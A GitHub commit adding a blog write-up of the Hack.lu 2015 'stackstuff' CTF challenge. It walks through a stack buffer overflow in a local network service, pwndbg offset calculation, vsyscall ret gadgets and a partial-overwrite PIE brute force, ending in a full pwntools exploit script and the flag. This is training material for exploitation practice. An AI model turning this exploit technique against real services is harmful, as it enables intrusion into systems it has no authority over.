Skip to content

Commit 12c0105

Browse files
committed
Fix added hacklu15_stackstuff write-up
1 parent 2d85d2d commit 12c0105

File tree

1 file changed

+223
-0
lines changed

1 file changed

+223
-0
lines changed
Lines changed: 223 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,223 @@
1+
---
2+
layout: post
3+
title: Hacklu 2015 stackstuff
4+
date: 2025-07-07 00:23:09 +0300
5+
categories: Nightmare-series partial-overwrite
6+
tags: nightmare buffer-overflow vsyscall x64 partial-overwrite brute-force
7+
---
8+
9+
## Information
10+
- Category: Pwn
11+
- Points: --
12+
13+
## Description
14+
> None
15+
16+
## Write-up
17+
First, let’s run the program and see what it does:
18+
<img src="/images/stuff/run.png" style="border-radius: 14px;">
19+
20+
As you can see, nothing happens when we run the program.
21+
So let's do some reverse engineering to figure out what it's actually doing.
22+
23+
<img src="/images/stuff/rev.png" style="border-radius: 14px;">
24+
25+
As you can see, the program is listening on port ```0x5ea```, which is ```1514``` in decimal (after applying ```htons```).
26+
So we can interact with the program using **netcat** on ```localhost``` port ```1514```:
27+
```bash
28+
nc 127.0.0.1 1514
29+
30+
```
31+
Now we want to see what the program is actually doing by connecting to port 1514 and checking its response.
32+
33+
<img src="/images/stuff/a.png" style="border-radius: 14px;">
34+
35+
Now we know that the program first reads an integer as a length, then reads that number of bytes from our input.
36+
To check if there's a **buffer overflow**, we need to understand the logic behind this behavior.
37+
So let’s go back to **Ghidra** and find the function that handles this input to analyze it more closely.
38+
39+
<img src="/images/stuff/p.png" style="border-radius: 14px;">
40+
41+
> From the reference string, you can find the function and use **Xref** to locate where it's called.
42+
{: .prompt-tip}
43+
44+
<img src="/images/stuff/l.png" style="border-radius: 14px;">
45+
46+
The program uses ```fread()``` and lets the user decide how many bytes to read.
47+
This makes it easy to create a **buffer overflow** by giving it a large size.
48+
49+
In the next step, we’ll calculate the offset to the **return address**.
50+
But how do we do that?
51+
We'll use **pwndbg** and set a breakpoint inside fread to examine the stack and memory layout.
52+
53+
```bash
54+
gdb -q stackstuff
55+
pwndbg: loaded 201 pwndbg commands. Type pwndbg [filter] for a list.
56+
pwndbg: created 13 GDB functions (can be used with print/break). Type help function to see them.
57+
Reading symbols from stackstuff...
58+
Download failed: Connection refus
59+
.
60+
.
61+
.
62+
pwndbg> b*check_password_correct + 167
63+
Breakpoint 1 at 0xf79
64+
pwndbg> start
65+
...
66+
pwndbg> c
67+
```
68+
69+
Then, make sure the program is listening by connecting to it:
70+
```
71+
nc 127.0.0.1 1514
72+
Hi! This is the flag download service.
73+
To download the flag, you need to specify a password.
74+
Length of password: 4
75+
ABCD
76+
```
77+
Now, after sending some random data to the program, let’s switch to **pwndbg** and see what’s happening under the hood:
78+
```bash
79+
80+
[Switching to Thread 0x7ffff7dae740 (LWP 113323)]
81+
82+
Thread 2.1 "exe" hit Breakpoint 1, 0x0000555555400f79 in check_password_correct ()
83+
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
84+
─[ REGISTERS / show-flags off / show-compact-regs off ]──
85+
RAX 0x7fffffffdec0 ◂— 0
86+
RBX 0
87+
RCX 0x7ffff7f978e0 (_IO_2_1_stdin_) ◂— 0xfbad2088
88+
RDX 4
89+
RDI 0x7fffffffdec0 ◂— 0
90+
RSI 1
91+
R8 0
92+
R9 0
93+
R10 0
94+
R11 0x202
95+
R12 0x7fffffffe0f8 —▸ 0x7fffffffe53d ◂— 0x4100636578656572 /* 'reexec' */
96+
R13 1
97+
R14 0x7ffff7ffd000 (_rtld_global) —▸ 0x7ffff7ffe310 —▸ 0x555555400000 ◂— jg 0x555555400047
98+
R15 0
99+
RBP 0x7fffffffe070 —▸ 0x7fffffffe0d0 ◂— 0
100+
RSP 0x7fffffffdeb0 —▸ 0x7fffffffdee0 ◂— 0
101+
RIP 0x555555400f79 (check_password_correct+167) ◂— call fread@plt
102+
──────────[ DISASM / x86-64 / set emulate on ]───────────
103+
► 0x555555400f79 <check_password_correct+167> call fread@plt <fread@plt>
104+
ptr: 0x7fffffffdec0 ◂— 0
105+
size: 1
106+
n: 4
107+
stream: 0x7ffff7f978e0 (_IO_2_1_stdin_) ◂— 0xfbad2088
108+
109+
... ↓ 5 skipped
110+
──────────────────────[ BACKTRACE ]──────────────────────
111+
► 0 0x555555400f79 check_password_correct+167
112+
...
113+
pwndbg> p/x $rdi
114+
$2 = 0x7fffffffdec0
115+
pwndbg> i f
116+
Stack level 0, frame at 0x7fffffffdf10:
117+
rip = 0x555555400f79 in check_password_correct;
118+
saved rip = 0x555555400fd1
119+
called by frame at 0x7fffffffdf20
120+
Arglist at 0x7fffffffdea8, args:
121+
Locals at 0x7fffffffdea8, Previous frame's sp is 0x7fffffffdf10
122+
Saved registers:
123+
rip at 0x7fffffffdf08
124+
pwndbg> p/x 0x7fffffffdf08 - $2
125+
$3 = 0x48
126+
pwndbg>
127+
```
128+
So the offset is ```0x48``` (72 bytes).
129+
That means we need to send **72 bytes** to reach and control the return address.
130+
131+
> The program has **PIE** and **NX** mitigations enabled.
132+
{: .prompt-info}
133+
134+
Before exiting ```pwndbg```, there’s one important thing to note:
135+
The **stack must be properly aligned** before calling a function — especially when we're trying to return into one to get the flag.
136+
137+
Since this binary has **PIE** enabled, we can’t hardcode return addresses as usual.
138+
But there's a trick: we can use a **vsyscall** address as a fake ```ret``` instruction.
139+
140+
```vsyscall``` is an old mechanism for system calls. Its address is **static** and doesn't change, even with PIE.
141+
142+
This makes it useful as a **ROP NOP** — a return instruction that helps us align the stack or chain our gadgets safely.
143+
```bash
144+
pwndbg> vmmap
145+
...
146+
0xffffffffff600000 0xffffffffff601000 --xp 1000 0 [vsyscall]
147+
pwndbg>
148+
```
149+
150+
Earlier, we mentioned that there’s a hidden function in the binary that prints the flag — but where is it exactly?
151+
152+
In **Ghidra**, we can find it easily. Here's what it looks like:
153+
<img src="/images/stuff/o.png" style="border-radius: 14px;">
154+
155+
As you can see, this function directly calls the flag-printing logic.
156+
Our goal is to redirect execution to this function after bypassing protections.
157+
158+
```bash
159+
0x0000555555401086 <+172>: call 0x555555400fba <require_auth>
160+
0x000055555540108b <+177>: lea rsi,[rip+0x36d] # 0x5555554013ff
161+
0x0000555555401092 <+184>: lea rdi,[rip+0x3b6] # 0x55555540144f
162+
0x0000555555401099 <+191>: call 0x555555400cd0 <fopen@plt>
163+
```
164+
Now we have a function that opens the flag, located at address ending in ```0x8b``` (```0x55555540108b```).
165+
Because the binary uses **PIE**, the base address is randomized — but **the last byte stays the same**.
166+
167+
That means we only need to **brute-force the upper byte(s)** of the address.
168+
Since PIE randomizes a small portion (typically 4 bits in local), there are only ```2^4 = 16``` possibilities.
169+
170+
So, with at most **16 attempts**, we can guess the correct address and jump to the flag function.
171+
172+
## Exploit
173+
```python
174+
from pwn import *
175+
176+
context.binary = './stackstuff'
177+
context.log_level = 'debug'
178+
179+
vsyscall_ret = p64(0xffffffffff600800)
180+
padding = b"A" * 0x48
181+
fixed_byte = b"\x8b"
182+
183+
def conn():
184+
return remote('127.0.0.1', 1514)
185+
186+
def make_payload(i):
187+
return padding + vsyscall_ret * 2 + fixed_byte + bytes([i])
188+
189+
def send_payload(r, payload):
190+
try:
191+
r.sendline(b'90')
192+
r.sendline(payload)
193+
r.recvuntil(b"Length of password: ")
194+
line = r.recvline(timeout=2)
195+
log.success(f"Flag line: {line.decode(errors='ignore')}")
196+
return True
197+
except EOFError:
198+
return False
199+
except Exception as e:
200+
log.warning(f"Exception while receiving: {e}")
201+
return False
202+
203+
def main():
204+
i = 0x00
205+
while i <= 0xFF:
206+
log.info(f"Trying byte: {hex(i)}")
207+
r = conn()
208+
payload = make_payload(i)
209+
if send_payload(r, payload):
210+
log.success(f"Correct byte found: {hex(i)}")
211+
pause()
212+
break
213+
else:
214+
log.info(f"Byte {hex(i)} failed.")
215+
i += 0x10
216+
r.close()
217+
218+
if __name__ == "__main__":
219+
main()
220+
```
221+
222+
## Flag
223+
Flag: ```flag{g0ttem_b0yz}```

0 commit comments

Comments
 (0)